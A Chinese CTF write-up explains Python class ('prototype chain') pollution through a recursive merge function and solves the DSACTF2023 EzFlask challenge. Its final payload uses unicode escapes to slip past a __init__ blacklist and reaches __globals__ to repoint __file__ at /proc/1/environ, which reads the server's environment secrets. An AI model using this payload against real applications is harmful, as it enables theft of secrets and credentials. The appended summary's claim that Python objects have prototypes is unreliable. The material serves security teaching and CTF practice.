【CTF】Python原型链污染

Python原型链污染

原型链

在Python中每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。

原型链污染

和JavaScript的原型链污染差不多,都是需要merge函数来修改父类的属性

class father:
    secret = "hello"
class son_a(father):
    pass
class son_b(father):
    pass
def merge(src, dst):
    for k, v in src.items():
        print(f"k:{k}\t v:{v}")
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
instance = son_b()
print(instance)
payload = {
    "__class__" : { 
        "__base__" : { # 有继承关系,使用__base__找父类
            "secret" : "world"
        }
    }
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
# k:__class__      v:{'__base__': {'secret': 'world'}}
# getattr(dst,k):  <class '__main__.son_b'>
# k:__base__       v:{'secret': 'world'}
# getattr(dst,k):  <class '__main__.father'>
# k:secret         v:world
print(son_a.secret)
#world
print(instance.secret)
#world

在这个例子中:

  1. 首先在payload中读入__class__,都是查看对象所在的类,在instance中是有__class__这个属性,因此进入elif hasattr(dst, k) and type(v) == dict:这个语句中,继续执行merge
  2. merge其中输入的dst从原本的instance变为son_b这个类,而后使用__base__查看son_b中是否有父类,并寻找这个父类,根据语句elif hasattr(dst, k) and type(v) == dict继续执行merge
  3. merge其中dst变为father这个类,type(v)是字符串,则执行setattr(dst, k, v),father中的secret属性设置为world
  4. 因为父类的secret值改变,son_a的secret属性也寻找到father这个父类中,值也变为world

在这个例子中创建的对象instance对应的son_b类是存在父类的,但很多时候是没有父类的,此时就可以利用python的一些属性来寻找对应变量

全局变量获取

在Python中,函数或类方法均具有一个__globals__属性,该属性将函数或类方法所申明的变量空间中的全局变量以字典的形式返回,这样就可以用__globals__来修改想要修改的全局变量值

DSACTF2023七月暑期赛–EzFlask

进入靶机看到给出了源码

import uuid 
from flask import Flask, request, session 
import json

black_list = ["__init__".encode(),"__globals__".encode()]

app = Flask(__name__) 
app.secret_key = str(uuid.uuid4()) 
def check(data): 
    for i in black_list:
        print(i)
        if i in data: 
            print(i)
            return False 
    return True 
        
def merge(src, dst): 
    for k, v in src.items(): 
        if hasattr(dst, '__getitem__'): 
            if dst.get(k) and type(v) == dict: 
                merge(v, dst.get(k)) 
            else: dst[k] = v 
        elif hasattr(dst, k) and type(v) == dict: 
            merge(v, getattr(dst, k)) 
        else: setattr(dst, k, v) 
        
class user(): 
    def __init__(self): 
        self.username = "" 
        self.password = "" 
        pass 
    
    def check(self, data): 
        if self.username == data['username'] and self.password == data['password']: 
            return True 
        return False 

Users = [] 
@app.route('/register',methods=['POST']) 
def register(): 
    if request.data: 
        try: 
            print(request.data)
            print(json.loads(request.data))
            if not check(request.data):
                print("No check")
                return "Register Failed" 
            data = json.loads(request.data)
            print(data)
            if "username" not in data or "password" not in data: 
                print("no username or passwd")
                return "Register Failed" 
            User = user() 
            merge(data, User) 
            Users.append(User) 
        except Exception as e: 
            print("Exception: ",e)
            return "Register Failed"
        
        return "Register Success" 
    else: 
        print("no data")
        return "Register Failed" 

@app.route('/login',methods=['POST']) 
def login(): 
    if request.data: 
        try: 
            print(request.data)
            print(json.loads(request.data))
            data = json.loads(request.data).encode()
            if "username" not in data or "password" not in data: 
                return "Login Failed" 
            for user in Users: 
                if user.check(data): 
                    session["username"] = data["username"] 
                    return "Login Success" 
        except Exception: 
            return "Login Failed" 
        return "Login Failed" 
        
@app.route('/',methods=['GET']) 
def index(): 
    return open(__file__, "r").read() 
    
if __name__ == "__main__": 
    app.run(host="0.0.0.0", port=5010)

看到merge函数首先想到原型链污染,在index函数中是可以直接读取__file__对应的文件,因此想到利用merge函数去修改这个变量,将其变为我想看到的文件,可以看到register是创建了User对象,将data中的数值merge,那么就要在data中写上payload,在User类中重写了__init__类,同时__file__变量是一个全局值,就可以用上面写到的__globals__函数来获取全局变量并进行修改,最后再重新进入index中读取文件内容,因此最终payload为

data = {
	"username" : "admin", 
	"password" : "123456", # 在data中定义username和password保证data可以进入merge函数中
	"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F": { # 在check中可以看到有black_list,__init__被过滤了,使用unioncode进行绕过
		"__globals__" : {
			"__file__": "../../../proc/1/environ" # 大部分的flag都隐藏在环境变量中
		}
	}
}

参考资料

  1. Python原型链污染变体(prototype-pollution-in-python)
  2. 深入理解 JavaScript Prototype 污染攻击
  3. Python原型链污染
Python原型链污染(Prototype Pollution)是指通过修改对象原型链中的属性,对程序的行为产生意外影响或利用漏洞进行攻击的一种技术。在Python中,每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找。原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。一些常见的原型链污染攻击包括修改内置对象的原型和修改全局对象的原型等。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [Python原型链污染](https://blog.csdn.net/Elite__zhb/article/details/131877828)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [【CTFPython原型链污染](https://blog.csdn.net/Luminous_song/article/details/132118473)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值